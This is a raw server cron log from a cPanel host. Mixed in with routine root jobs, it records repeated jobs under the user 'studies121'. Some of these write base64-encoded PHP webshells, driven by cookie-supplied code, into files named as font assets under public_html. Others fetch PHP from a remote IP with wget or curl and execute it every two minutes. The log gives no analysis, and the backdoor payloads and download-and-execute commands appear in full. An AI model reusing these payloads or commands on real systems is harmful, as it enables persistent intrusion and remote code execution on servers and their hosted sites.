Sep  8 01:59:01 ip-184-168-122-23 CROND[21229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:59:01 ip-184-168-122-23 CROND[21232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:59:01 ip-184-168-122-23 CROND[21230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:00:01 ip-184-168-122-23 CROND[21326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21327]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:00:01 ip-184-168-122-23 CROND[21334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21330]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:00:01 ip-184-168-122-23 CROND[21333]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 02:01:01 ip-184-168-122-23 CROND[21456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:01:01 ip-184-168-122-23 CROND[21459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:01:01 ip-184-168-122-23 CROND[21460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:01:01 ip-184-168-122-23 CROND[21461]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 02:01:01 ip-184-168-122-23 CROND[21457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:01:01 ip-184-168-122-23 CROND[21458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21461]: starting 0anacron
Sep  8 02:01:01 ip-184-168-122-23 anacron[21478]: Anacron started on 2026-09-08
Sep  8 02:01:01 ip-184-168-122-23 anacron[21478]: Normal exit (0 jobs run)
Sep  8 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21480]: finished 0anacron
Sep  8 02:02:01 ip-184-168-122-23 CROND[21553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:02:01 ip-184-168-122-23 CROND[21555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:02:01 ip-184-168-122-23 CROND[21556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:02:01 ip-184-168-122-23 CROND[21557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:02:01 ip-184-168-122-23 CROND[21558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:03:01 ip-184-168-122-23 CROND[21639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:03:01 ip-184-168-122-23 CROND[21640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:03:01 ip-184-168-122-23 CROND[21641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:03:01 ip-184-168-122-23 CROND[21643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:04:01 ip-184-168-122-23 CROND[21728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:04:01 ip-184-168-122-23 CROND[21729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:04:01 ip-184-168-122-23 CROND[21730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:04:01 ip-184-168-122-23 CROND[21731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:04:01 ip-184-168-122-23 CROND[21732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:05:01 ip-184-168-122-23 CROND[21818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:05:01 ip-184-168-122-23 CROND[21816]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:05:01 ip-184-168-122-23 CROND[21813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:05:01 ip-184-168-122-23 CROND[21814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:05:01 ip-184-168-122-23 CROND[21815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:05:01 ip-184-168-122-23 CROND[21819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:05:01 ip-184-168-122-23 CROND[21817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:06:01 ip-184-168-122-23 CROND[21989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:06:01 ip-184-168-122-23 CROND[21990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:06:01 ip-184-168-122-23 CROND[21992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:06:01 ip-184-168-122-23 CROND[21994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:06:01 ip-184-168-122-23 CROND[21991]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:07:01 ip-184-168-122-23 CROND[22086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:07:01 ip-184-168-122-23 CROND[22088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:07:01 ip-184-168-122-23 CROND[22089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:07:01 ip-184-168-122-23 CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:08:01 ip-184-168-122-23 CROND[22193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:08:01 ip-184-168-122-23 CROND[22197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:08:01 ip-184-168-122-23 CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:08:01 ip-184-168-122-23 CROND[22196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:08:01 ip-184-168-122-23 CROND[22195]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  8 02:08:01 ip-184-168-122-23 CROND[22199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:09:01 ip-184-168-122-23 CROND[22279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:09:01 ip-184-168-122-23 CROND[22282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:09:01 ip-184-168-122-23 CROND[22284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:09:01 ip-184-168-122-23 CROND[22283]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 02:09:01 ip-184-168-122-23 CROND[22285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:10:01 ip-184-168-122-23 CROND[22528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:10:01 ip-184-168-122-23 CROND[22532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:10:01 ip-184-168-122-23 CROND[22531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:10:01 ip-184-168-122-23 CROND[22534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:10:01 ip-184-168-122-23 CROND[22527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:10:01 ip-184-168-122-23 CROND[22530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
